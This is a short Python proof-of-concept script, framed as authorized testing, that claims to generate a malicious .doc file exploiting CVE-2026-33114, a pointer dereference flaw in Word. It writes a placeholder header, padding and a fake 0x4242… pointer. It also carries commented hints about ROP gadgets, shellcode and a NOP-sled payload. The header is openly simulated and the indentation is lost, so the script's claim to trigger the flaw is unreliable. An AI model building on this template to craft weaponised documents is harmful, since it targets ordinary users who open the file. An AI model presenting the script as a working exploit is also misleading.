The following code is for security research and authorized testing only.
python
import struct
# PoC for CVE-2026-33114 (Untrusted Pointer Dereference)
# This script generates a malicious file structure to demonstrate the vulnerability trigger.
def create_exploit_file(filename):
with open(filename, 'wb') as f:
# 1. File Header (Simulated)
f.write(b'DOC_HEADER_MAGIC')
# 2. Padding to reach the vulnerable offset
f.write(b'\x00' * 0x100)
# 3. Malicious Pointer (The untrusted input)
# In a real scenario, this address would point to controlled memory or a ROP gadget
fake_pointer = 0x4242424242424242 # 0x42 = 'B' in ASCII, causes crash on dereference
print(f"[*] Crafting malicious pointer: {hex(fake_pointer)}")
f.write(struct.pack('<Q', fake_pointer))
# 4. Optional: Payload placeholder
# If the attacker controls the memory at fake_pointer, shellcode goes here
# payload = b"\x90" * 100 # NOP sled
# f.write(payload)
print(f"[+] Exploit file '{filename}' generated successfully.")
print("[*] Opening this file in a vulnerable Word version should trigger the dereference fault.")
if __name__ == '__main__':
create_exploit_file('cve_2026_33114_poc.doc')